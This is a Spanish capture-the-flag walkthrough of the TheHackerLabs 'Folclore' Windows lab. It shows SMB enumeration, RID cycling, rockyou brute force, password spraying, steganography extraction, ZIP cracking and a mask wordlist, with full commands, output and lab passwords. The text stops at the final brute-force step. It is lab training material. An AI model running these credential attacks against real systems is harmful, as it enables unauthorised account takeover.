Folclore - TheHackerLabs

Esta fue una máquina algo complicada. Después de analizar los escaneos, nos enfocamos en el servicio SMB, ya que después de aplicar RID Cycling attack y de aplicar Fuerza Bruta a un usuario, logramos obtener su contraseña con la que logramos ver sus recursos compartidos con la herramienta smbmap. Aquí encontraremos una imagen que contendrá un mensaje oculto en sus metadatos, siendo así que encontramos otra contraseña de otro usuario, al que llamaremos usuario2. En los archivos compartidos del usuario2, encontraremos un archivo de texto que contiene una pista y la contraseña del usuario3. En los archivos compartidos del usuario3, encontraremos una imagen que contiene un mensaje oculto gracias a la esteganografía aplicada, pues dicho mensaje contiene la contraseña del usuario4. En sus archivos compartidos, encontraremos un archivo de texto que contiene la contraseña del usuario5 y un archivo ZIP, que al crackearlo, nos dará otras pistas que resultan ser para la contraseña de un usuario principal. Al descubrir la contraseña del usuario principal y ver sus archivos compartidos, vemos solo un archivo de texto que contiene un mensaje sobre cómo obtener una Reverse Shell. Al ganar acceso a la máquina víctima, encontraremos la contraseña en texto claro del administrador, lo que nos permite conectarnos de manera remota usando psexec, siendo así que escalamos privilegios.

Herramientas utilizadas:

  • ping
  • nmap
  • arp-scan
  • netexec
  • smbmap
  • file
  • exiftool
  • strings
  • head
  • stegseek
  • 7z
  • zip2john
  • JohnTheRipper
  • hashcat
  • wget
  • rlwrap
  • nc
  • smbclient
  • impacket-psexec






Recopilación de Información


Descubrimiento de Hosts

Hagamos un descubrimiento de hosts para encontrar a nuestro objetivo.

Lo haremos primero con nmap:

nmap -sn 192.168.100.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-27 09:53 -0600
...
Nmap scan report for 192.168.100.230
Host is up (0.0016s latency).
MAC Address: XX:XX:XX:XX:XX:XX (Oracle VirtualBox virtual NIC)

Vamos a probar la herramienta arp-scan:

arp-scan -I eth0 -g 192.168.100.0/24
Interface: eth0, type: EN10MB, MAC: XX:XX:XX:XX:XX:XX, IPv4: Tu_IP
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.100.230	XX:XX:XX:XX:XX:XX	PCS Systemtechnik GmbH
...

Encontramos nuestro objetivo y es: 192.168.100.230.


Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 192.168.100.230
PING 192.168.100.230 (192.168.100.230) 56(84) bytes of data.
64 bytes from 192.168.100.230: icmp_seq=1 ttl=128 time=2.86 ms
64 bytes from 192.168.100.230: icmp_seq=2 ttl=128 time=0.978 ms
64 bytes from 192.168.100.230: icmp_seq=3 ttl=128 time=2.00 ms
64 bytes from 192.168.100.230: icmp_seq=4 ttl=128 time=1.16 ms

--- 192.168.100.230 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3045ms
rtt min/avg/max/mdev = 0.978/1.748/2.856/0.747 ms

Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.


Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.100.230 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-27 09:55 -0600
Initiating ARP Ping Scan at 09:55
Scanning 192.168.100.230 [1 port]
Completed ARP Ping Scan at 09:55, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 09:55
Scanning 192.168.100.230 [65535 ports]
Discovered open port 445/tcp on 192.168.100.230
Discovered open port 139/tcp on 192.168.100.230
Discovered open port 7680/tcp on 192.168.100.230
Completed SYN Stealth Scan at 09:56, 42.29s elapsed (65535 total ports)
Nmap scan report for 192.168.100.230
Host is up, received arp-response (0.0015s latency).
Scanned at 2026-03-27 09:55:25 CST for 43s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      REASON
139/tcp  open  netbios-ssn  syn-ack ttl 128
445/tcp  open  microsoft-ds syn-ack ttl 128
7680/tcp open  pando-pub    syn-ack ttl 128
MAC Address: XX (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 42.48 seconds
           Raw packets sent: 131070 (5.767MB) | Rcvd: 6 (248B)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.


Solamente hay 3 puertos abiertos y me da curiosidad el puerto 7680.


Escaneo de Servicios

nmap -sCV -p 139,445,7680 192.168.100.230 -oN targeted
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-27 09:58 -0600
Nmap scan report for 192.168.100.230
Host is up (0.0024s latency).

PORT     STATE SERVICE       VERSION
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
7680/tcp open  pando-pub?
MAC Address: XX (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s
|_nbstat: NetBIOS name: FOLCLORE, NetBIOS user: <unknown>, NetBIOS MAC: XX (Oracle VirtualBox virtual NIC)
| smb2-time: 
|   date: 2026-03-27T15:59:06
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.81 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.


Si bien no vemos información sobre el puerto 7680, podemos ver algunos puntos sobre el servicio SMB:

  • Parece que está usando SMB 3.1.1, que es una versión moderna.
  • El mensaje “Message signing enabled but not required” quiere decir que requiere firmado en cada paquete enviado a SMB; sin embargo, menciona que esto es opcional, lo que permitiría ataques como Fuerza Bruta, Ataque SMB Relay, etc.

A su vez, parece que la explotación estará enfocada en SMB, así que comencemos con la enumeración.




Análisis de Vulnerabilidades


Enumeración de Servicio SMB y Aplicando RID Cycling Attack

Primero veamos más información sobre este servicio con netexec:

nxc smb 192.168.100.230
SMB         192.168.100.230   445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:None)

Vemos a qué versión de Windows nos enfrentamos, pero hay algo interesante.

Curiosamente, el mensaje de “signing:False” pareciera indicar que no es necesario dar credenciales para ver los archivos compartidos, pero al intentar esto, no obtendremos ningún resultado, por lo que sí o sí son necesarias credenciales válidas.

Veamos si podemos enumerar los archivos compartidos con el usuario invitado:

smbmap -H 192.168.100.230 -u 'guest' --no-banner
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 192.168.100.230:445	Name: 192.168.100.230       	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Admin remota
	C$                                                	NO ACCESS	Recurso predeterminado
	Dia de Muertos                                    	NO ACCESS	Al final, todos somos polvo y hueso.
	IPC$                                              	READ ONLY	IPC remota
	Libertad                                          	NO ACCESS	El secreto está en quien se atreve a buscarlo; sigue tu camino sin miedo.
	Lluvia                                            	NO ACCESS	Presta atención, pues en esta imagen el camino se revela sólo a quien sabe escuchar el trueno
	Oro                                               	NO ACCESS	¿Buscas llegar a Quetzalcóatl? Aquí inicia tu camino.
	Santuario                                         	NO ACCESS	El Refugio de Ixchel
	Viento                                            	NO ACCESS	El viento sagrado ejecutará la tarea a su debido tiempo
[*] Closed 1 connections

Excelente, vemos varios directorios, pero no tenemos acceso para ver alguno.

Podríamos tratar de aplicar fuerza bruta, pero desconocemos cuáles son los usuarios existentes.

Es por esto que la mejor opción es aplicar un RID Brute Forcing o mejor conocido como RID Cycling Attack:

RID Cycling Attack
Un RID Cycling Attack es una técnica de enumeración en entornos Windows/Active Directory usada en pruebas de penetración para descubrir usuarios válidos sin autenticarse correctamente. La idea es “ciclar” (probar) múltiples RIDs para ver cuáles existen en el sistema.


Al aplicarlo, podremos ver los usuarios existentes en la máquina y lo haremos con netexec:

nxc smb 192.168.100.230 -u 'guest' -p '' --rid-brute
SMB         192.168.100.230   445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:None)
SMB         192.168.100.230   445    FOLCLORE         [+] Folclore\guest: (Guest)
SMB         192.168.100.230   445    FOLCLORE         500: FOLCLORE\Administrador (SidTypeUser)
SMB         192.168.100.230   445    FOLCLORE         501: FOLCLORE\Invitado (SidTypeUser)
SMB         192.168.100.230   445    FOLCLORE         503: FOLCLORE\DefaultAccount (SidTypeUser)
SMB         192.168.100.230   445    FOLCLORE         504: FOLCLORE\WDAGUtilityAccount (SidTypeUser)
SMB         192.168.100.230   445    FOLCLORE         513: FOLCLORE\Ninguno (SidTypeGroup)
SMB         192.168.100.230   445    FOLCLORE         1001: FOLCLORE\Quetzalcoatl (SidTypeUser)
SMB         192.168.100.230   445    FOLCLORE         1003: FOLCLORE\El_charro_negro (SidTypeUser)
SMB         192.168.100.230   445    FOLCLORE         1004: FOLCLORE\Ix_Chel (SidTypeUser)
SMB         192.168.100.230   445    FOLCLORE         1005: FOLCLORE\Tlaloc (SidTypeUser)
SMB         192.168.100.230   445    FOLCLORE         1006: FOLCLORE\La_mulata_de_Cordoba (SidTypeUser)
SMB         192.168.100.230   445    FOLCLORE         1007: FOLCLORE\La_Catrina (SidTypeUser)

Excelente, tenemos a varios usuarios.

Intentemos aplicar Fuerza Bruta a algunos de estos.




Explotación de Vulnerabilidades


Aplicando Fuerza Bruta al Servicio SMB y Obteniendo Contraseña de Usuario El_charro_negro

IMPORTANTE:

A partir de este momento, podremos encontrar contraseñas que ya hayan expirado dentro de la máquina, por lo que tendremos que cambiar cada una a una de nuestra preferencia.



Probando entre varios usuarios, con un ataque de mínimo 10 minutos, encontramos la contraseña del siguiente usuario:

nxc smb 192.168.100.230 -u 'El_charro_negro' -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding | grep -E '\[\+\]|STATUS_PASSWORD_EXPIRED'
SMB                      192.168.100.230   445    FOLCLORE         [-] Folclore\El_charro_negro:abc123 STATUS_PASSWORD_EXPIRED

Encontramos la contraseña, pero tenemos que cambiarla.

Una vez que la cambiemos, probemos la nueva credencial:

nxc smb 192.168.100.230 -u 'El_charro_negro' -p 'abcd123'
SMB         192.168.100.230   445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:None)
SMB         192.168.100.230   445    FOLCLORE         [+] Folclore\El_charro_negro:abcd12

Funciona.

Revisando los archivos compartidos, veremos que tenemos permisos de lectura y escritura en el directorio Oro:

smbmap -H 192.168.100.230 -u 'El_charro_negro' -p 'abcd123' -r Oro --no-banner
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 192.168.100.230:445	Name: lavashop.thl        	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Admin remota
	C$                                                	NO ACCESS	Recurso predeterminado
	Dia de Muertos                                    	NO ACCESS	Al final, todos somos polvo y hueso.
	IPC$                                              	READ ONLY	IPC remota
	Libertad                                          	NO ACCESS	El secreto está en quien se atreve a buscarlo; sigue tu camino sin miedo.
	Lluvia                                            	NO ACCESS	Presta atención, pues en esta imagen el camino se revela sólo a quien sabe escuchar el trueno
	Oro                                               	READ, WRITE	¿Buscas llegar a Quetzalcóatl? Aquí inicia tu camino.
	./Oro
	dr--r--r--                0 Sun Mar 29 23:35:19 2026	.
	dr--r--r--                0 Sun Mar 29 23:35:19 2026	..
	fr--r--r--            50061 Mon Jul 28 18:40:26 2025	El_Charro_Negro.jpeg
	Santuario                                         	NO ACCESS	El Refugio de Ixchel
	Viento                                            	NO ACCESS	El viento sagrado ejecutará la tarea a su debido tiempo

Encontramos una imagen, así que descarguémosla:

smbmap -H 192.168.100.230 -u 'El_charro_negro' -p 'abcd123' --download Oro/El_charro_Negro.jpeg --no-banner

mv 192.168.100.230-Oro_El_charro_Negro.jpeg El_charro_Negro.jpeg

Veamos la imagen:

Qué fregona se ve, pero toca analizarla, ya que da la impresión de que pueda tener algo oculto.


Identificando Mensaje Oculto en Metadatos de Imagen y Obteniendo Contraseña de Usuario Ixchel y Tlaloc

Analizando el tipo de archivo con el comando file, podremos ver un mensaje:

file El_charro_Negro.jpeg
El_charro_Negro.jpeg: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=2, copyright=El camino es largo pero no complicado. Busca a Ix Chel; ella tiene la siguiente pista aqui tienes la clave: 4+9Ii1wK], progressive, precision 8, 736x981, components 3

Aunque lo podremos ver mejor si usamos la herramienta exiftool que sirve para ver los metadatos de un archivo:

exiftool El_charro_Negro.jpeg
ExifTool Version Number         : 13.44
File Name                       : El_charro_Negro.jpeg
Directory                       : .
File Size                       : 50 kB
File Modification Date/Time     : 2026:03:29 23:35:40-06:00
File Access Date/Time           : 2026:03:29 23:35:59-06:00
File Inode Change Date/Time     : 2026:03:29 23:35:54-06:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
Y Cb Cr Positioning             : Centered
Copyright                       : El camino es largo pero no complicado. Busca a Ix Chel; ella tiene la siguiente pista aqui tienes la clave: 4+9Ii1wK
Image Width                     : 736
Image Height                    : 981
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 736x981
Megapixels                      : 0.722

Tenemos la contraseña del usuario Ixchel. (Recuerda cambiarla si aparece como caducada)

Probemos la contraseña:

nxc smb 192.168.100.230 -u 'Ix_Chel' -p 'ixchel123'
SMB         192.168.100.230   445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:None)
SMB         192.168.100.230   445    FOLCLORE         [+] Folclore\Ix_Chel:ixchel123

Este usuario tiene permisos de lectura y escritura en el directorio Santuario:

smbmap -H 192.168.100.230 -u 'Ix_Chel' -p 'ixchel123' -r Santuario --no-banner
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 192.168.100.230:445	Name: lavashop.thl        	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Admin remota
	C$                                                	NO ACCESS	Recurso predeterminado
	Dia de Muertos                                    	NO ACCESS	Al final, todos somos polvo y hueso.
	IPC$                                              	READ ONLY	IPC remota
	Libertad                                          	NO ACCESS	El secreto está en quien se atreve a buscarlo; sigue tu camino sin miedo.
	Lluvia                                            	NO ACCESS	Presta atención, pues en esta imagen el camino se revela sólo a quien sabe escuchar el trueno
	Oro                                               	NO ACCESS	¿Buscas llegar a Quetzalcóatl? Aquí inicia tu camino.
	Santuario                                         	READ, WRITE	El Refugio de Ixchel
	./Santuario
	dr--r--r--                0 Sun Mar 29 23:46:27 2026	.
	dr--r--r--                0 Sun Mar 29 23:46:27 2026	..
	fr--r--r--              573 Mon Jul 28 18:59:58 2025	La clave de Kukulcán.txt
	Viento                                            	NO ACCESS	El viento sagrado ejecutará la tarea a su debido tiempo
[*] Closed 1 connections

Dentro, vemos un archivo de texto.

Descarguémoslo:

smbmap -H 192.168.100.230 -u 'Ix_Chel' -p 'ixchel123' --download 'Santuario/La clave de kukulcán.txt' --no-banner

mv 192.168.100.230-Santuario_La\ clave\ de\ kukulcán.txt La_clave_de_kukulcán.txt

Ahora, veamos su contenido:

cat La_clave_de_kukulcán.txt
Recuerdo cuando conocí a Kukulcán, la serpiente emplumada que otros llaman Quetzalcóatl; su mirada guardaba el misterio del viento y la sabiduría, y con una sonrisa me confió que su clave más preciada tenía solo ocho caracteres, sencilla pero poderosa, como él mismo. Nuestros caminos se entrelazan: yo, guardiana de la luna y la vida; él, portador del cielo y el conocimiento, unidos bajo el manto eterno de las estrellas. Ahora, sigue adelante, porque Quetzalcóatl te espera. Continua buscando a Tláloc,te despejare el camino entregándote su clave: 677Kn$q."

Este mensaje, aparte de ser muy poético, nos da dos datos importantes:

  • La contraseña del usuario Quetzalcoatl tiene 8 caracteres.
  • Nos da la contraseña del usuario Tlaloc.

Por ahora, guardemos bien el dato del usuario Quetzalcoatl y probemos la contraseña del usuario Tlaloc:

nxc smb 192.168.100.230 -u 'Tlaloc' -p 'tlaloc123'
SMB         192.168.100.230   445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:None)
SMB         192.168.100.230   445    FOLCLORE         [+] Folclore\Tlaloc:tlaloc123

Funciona.

Este usuario tiene permisos de lectura y escritura en el directorio Lluvia:

smbmap -H 192.168.100.230 -u 'Tlaloc' -p 'tlaloc123' -r Lluvia --no-banner
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 192.168.100.230:445	Name: lavashop.thl        	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Admin remota
	C$                                                	NO ACCESS	Recurso predeterminado
	Dia de Muertos                                    	NO ACCESS	Al final, todos somos polvo y hueso.
	IPC$                                              	READ ONLY	IPC remota
	Libertad                                          	NO ACCESS	El secreto está en quien se atreve a buscarlo; sigue tu camino sin miedo.
	Lluvia                                            	READ, WRITE	Presta atención, pues en esta imagen el camino se revela sólo a quien sabe escuchar el trueno
	./Lluvia
	dr--r--r--                0 Mon Mar 30 00:33:39 2026	.
	dr--r--r--                0 Mon Mar 30 00:33:39 2026	..
	fr--r--r--           111216 Mon Jul 28 19:35:18 2025	Tlaloc.jpg
	Oro                                               	NO ACCESS	¿Buscas llegar a Quetzalcóatl? Aquí inicia tu camino.
	Santuario                                         	NO ACCESS	El Refugio de Ixchel
	Viento                                            	NO ACCESS	El viento sagrado ejecutará la tarea a su debido tiempo
[*] Closed 1 connections

Dentro, podemos encontrar una imagen.

Descarguémosla:

smbmap -H 192.168.100.230 -u 'Tlaloc' -p 'tlaloc123' --download Lluvia/Tlaloc.jpg --no-banner

mv 192.168.100.230-Lluvia_Tlaloc.jpg Lluvia_Tlaloc.jpg

Y ahora veámosla:

Tremenda obra de arte, pero también tendremos que analizar esta imagen.


Identificando Esteganografía en Imagen, Aplicación de Password Spraying y Obteniendo Contraseña del Usuario La_mulata_de_Cordoba y La_Catrina

Veamos si el comando file muestra algo de información extra sobre la imagen:

file Lluvia_Tlaloc.jpg
Lluvia_Tlaloc.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 736x731, components 3

No hay más.

Pero si analizamos la imagen con el comando strings, podremos ver unos patrones que nos dan la pista sobre el uso de esteganografía en la imagen:

strings Lluvia_Tlaloc.jpg | head -n 10
JFIF
 , #&')*)
-0-(0%()(
((((((((((((((((((((((((((((((((((((((((((((((((((
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
	#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2+^5
QKI@

Para descubrir qué se ocultó dentro de la imagen, usaremos la herramienta stegseek y usaremos el wordlist rockyou.txt por si se utilizó una contraseña para poder extraer el contenido oculto:

stegseek Lluvia_Tlaloc.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "knight"
[i] Original filename: "Las primeras señales.txt".
[i] Extracting to "Lluvia_Tlaloc.jpg.out".

Excelente, obtuvimos la contraseña que se usó y vemos el archivo que se obtuvo.

Leámoslo:

cat Lluvia_Tlaloc.jpg.out
He conseguido estos últimos dos caracteres para la clave de Kukulcán, la serpiente emplumada que llaman Quetzalcóatl: %/. Te los entrego para que completes tu búsqueda. Además, aquí tienes otra clave, aunque debo confesar que no recuerdo a quién pertenece exactamente: 45yD#k7. Confía en tu instinto para usarla sabiamente.

Muy bien, tenemos otro mensaje que nos da dos pistas:

  • Los últimos dos caracteres de la contraseña del usuario Quetzalcoatl.
  • La contraseña de algún usuario.

Guardemos el dato del usuario Quetzalcoatl y para descubrir a quién le pertenece esa contraseña, podemos aplicar Pasword Spraying a los usuarios de los que no tenemos su contraseña:

nxc smb 192.168.100.230 -u usuarios.txt -p '45yD#k7' --no-bruteforce --continue-on-success
SMB         192.168.100.230   445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:None)
SMB         192.168.100.230   445    FOLCLORE         [-] Folclore\Administrador:45yD#k7 STATUS_LOGON_FAILURE 
SMB         192.168.100.230   445    FOLCLORE         [+] Folclore\Ninguno:45yD#k7 (Guest)
SMB         192.168.100.230   445    FOLCLORE         [-] Folclore\La_mulata_de_Cordoba:45yD#k7 STATUS_PASSWORD_EXPIRED 
SMB         192.168.100.230   445    FOLCLORE         [-] Folclore\La_Catrina:45yD#k7 STATUS_LOGON_FAILURE

Bien, la contraseña pertenece al usuario La_mulata_de_Cordoba. (Recuerda cambiarla)

Comprobemos si funciona:

nxc smb 192.168.100.230 -u 'La_mulata_de_Cordoba' -p 'cordoba123'
SMB         192.168.100.230   445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:None)
SMB         192.168.100.230   445    FOLCLORE         [+] Folclore\La_mulata_de_Cordoba:cordoba123

Este usuario tiene permisos de lectura y escritura en el directorio Libertad:

smbmap -H 192.168.100.230 -u 'La_mulata_de_Cordoba' -p 'cordoba123' -r Libertad --no-banner
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 192.168.100.230:445	Name: lavashop.thl        	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Admin remota
	C$                                                	NO ACCESS	Recurso predeterminado
	Dia de Muertos                                    	NO ACCESS	Al final, todos somos polvo y hueso.
	IPC$                                              	READ ONLY	IPC remota
	Libertad                                          	READ, WRITE	El secreto está en quien se atreve a buscarlo; sigue tu camino sin miedo.
	./Libertad
	dr--r--r--                0 Mon Mar 30 01:06:55 2026	.
	dr--r--r--                0 Mon Mar 30 01:06:55 2026	..
	fr--r--r--              169 Mon Jul 28 19:54:06 2025	Mi_amiga.txt
	fr--r--r--              432 Mon Jul 28 19:49:18 2025	Pacto.zip
	Lluvia                                            	NO ACCESS	Presta atención, pues en esta imagen el camino se revela sólo a quien sabe escuchar el trueno
	Oro                                               	NO ACCESS	¿Buscas llegar a Quetzalcóatl? Aquí inicia tu camino.
	Santuario                                         	NO ACCESS	El Refugio de Ixchel
	Viento                                            	NO ACCESS	El viento sagrado ejecutará la tarea a su debido tiempo
[*] Closed 1 connections

Podemos ver que tiene 2 archivos.

Descarguémoslos:

smbmap -H 192.168.100.230 -u 'La_mulata_de_Cordoba' -p 'cordoba123' --download Libertad/Mi_amiga.txt --no-banner
smbmap -H 192.168.100.23 -u 'La_mulata_de_Cordoba' -p 'cordoba123' --download Libertad/Pacto.zip --no-banner

Veamos primero el archivo de texto:

cat Mi_amiga.txt
Mi amiga ‘La Catrina’ me ha dejado su cuenta para que le ayude con algunos de sus trabajitos de vez en cuando. Escribiré la clave aquí para no olvidarla: 3nM93{S#

Excelente, tenemos la contraseña del usuario La_Catrina.

Si intentamos descomprimir el archivo comprimido, nos pedirá una contraseña, por lo que debemos encontrarla:

7z x Pacto.zip

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=es_MX.UTF-8 Threads:6 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 432 bytes (1 KiB)

Extracting archive: Pacto.zip
--
Path = Pacto.zip
Type = zip
Physical Size = 432

    
Enter password (will not be echoed):


Crackeando Archivo ZIP y Probando Contraseña del Usuario La_Catrina

Para poder crackear el archivo ZIP, debemos obtener su hash y eso lo haremos con la herramienta zip2john:

zip2john Pacto.zip > zipHash

Este Hash nos sirve para utilizar la herramienta JohnTheRipper, pues el Hash ya tiene un formato que acepta esta herramienta, por lo que podrá crackearlo y así obtendremos la contraseña:

john -w:/usr/share/wordlists/rockyou.txt zipHash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 238 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
**********           (Pacto.zip/Pacto.txt)     
1g 0:00:00:00 DONE (2026-03-30 09:57) 6.666g/s 81920p/s 81920c/s 81920C/s 123456..hawkeye
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Tenemos la contraseña.

Descomprimamos el archivo ZIP:

7z x Pacto.zip

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=es_MX.UTF-8 Threads:6 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 432 bytes (1 KiB)

Extracting archive: Pacto.zip
--
Path = Pacto.zip
Type = zip
Physical Size = 432

    
Enter password (will not be echoed):
Everything is Ok

Size:       358
Compressed: 43

Nos dio un archivo de texto.

Leámoslo:

cat Pacto.txt
Has surcado sendas que pocos se atreven a cruzar, pero tu viaje no concluye todavía. Invocando mis artes prohibidas, logré hechizar a la serpiente emplumada y robarle apenas el inicio de su secreto: sólo tres caracteres fui capaz de obtener. Ahora los deposito en tus manos, pero escucha el viento y no olvides la deuda que ahora te ata a mi sombra: J9c.

Otro mensaje poético, pero que viene con una pista importante, siendo los 3 primeros caracteres de la contraseña del usuario Quetzalcoat.

Guardemos este dato y probemos la contraseña del usuario La_Catrina:

nxc smb 192.168.100.230 -u 'La_Catrina' -p 'catrina123'
SMB         192.168.100.230   445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:None)
SMB         192.168.100.230   445    FOLCLORE         [+] Folclore\La_Catrina:catrina123

Funciona.

Este usuario tiene permisos de lectura y escritura en el directorio Dia de Muertos:

smbmap -H 192.168.100.230 -u 'La_Catrina' -p 'catrina123' -r 'Dia de Muertos' --no-banner
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 192.168.100.230:445	Name: lavashop.thl        	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Admin remota
	C$                                                	NO ACCESS	Recurso predeterminado
	Dia de Muertos                                    	READ, WRITE	Al final, todos somos polvo y hueso.
	./Dia de Muertos
	dr--r--r--                0 Mon Mar 30 01:16:04 2026	.
	dr--r--r--                0 Mon Mar 30 01:16:04 2026	..
	fr--r--r--              278 Mon Jul 28 20:22:59 2025	Ultimo_mensaje.txt
	IPC$                                              	READ ONLY	IPC remota
	Libertad                                          	NO ACCESS	El secreto está en quien se atreve a buscarlo; sigue tu camino sin miedo.
	Lluvia                                            	NO ACCESS	Presta atención, pues en esta imagen el camino se revela sólo a quien sabe escuchar el trueno
	Oro                                               	NO ACCESS	¿Buscas llegar a Quetzalcóatl? Aquí inicia tu camino.
	Santuario                                         	NO ACCESS	El Refugio de Ixchel
	Viento                                            	NO ACCESS	El viento sagrado ejecutará la tarea a su debido tiempo

Dentro veremos un archivo de texto.

Descarguémoslo:

smbmap -H 192.168.100.230 -u 'La_Catrina' -p 'catrina123' --download 'Dia de Muertos/Ultimo_mensaje.txt' --no-banner

mv 192.168.100.230-Dia\ de\ Muertos_Ultimo_mensaje.txt Ultimo_mensaje.txt

Leamos el archivo:

cat Ultimo_mensaje.txt
Solo puedo darte el quinto carácter de su clave: ‘U’. Los demás caracteres que faltan deberás encontrarlos por tu cuenta, aunque no debe ser tan difícil; solo son números o letras. Confía en tu ingenio y no olvides que el misterio siempre se revela a quien persevera.

Excelente, tenemos el quinto carácter de la contraseña del usuario Quetzalcoatl y nos dice que los faltantes pueden ser números o letras.

Tenemos que encontrar la contraseña.


Creando Wordlist para Encontrar Contraseña de Usuario Quetzalcoatl y Cargando/Obteniendo Reverse Shell

Después de leer todas las pistas, podemos ver que tenemos la siguiente contraseña incompleta:

J9c@U@%/

Para poder crear un wordlist, podemos utilizar la herramienta hashcat:

hashcat -a 3 --stdout -1 ?l?u?d J9c?1U?1%/ > wordlist.txt

Con este comando generamos un wordlist que contenga solamente combinaciones que reemplazan los caracteres @ con [a-zA-Z0-9].

Si utilizamos netexec junto al wordlist que creamos, podremos encontrar la contraseña correcta:

nxc smb 192.168.100.230 -u 'Quetzalcoatl' -p wordlist.txt | grep -E '\[\+\]|STATUS_PASSWORD_EXPIRED'
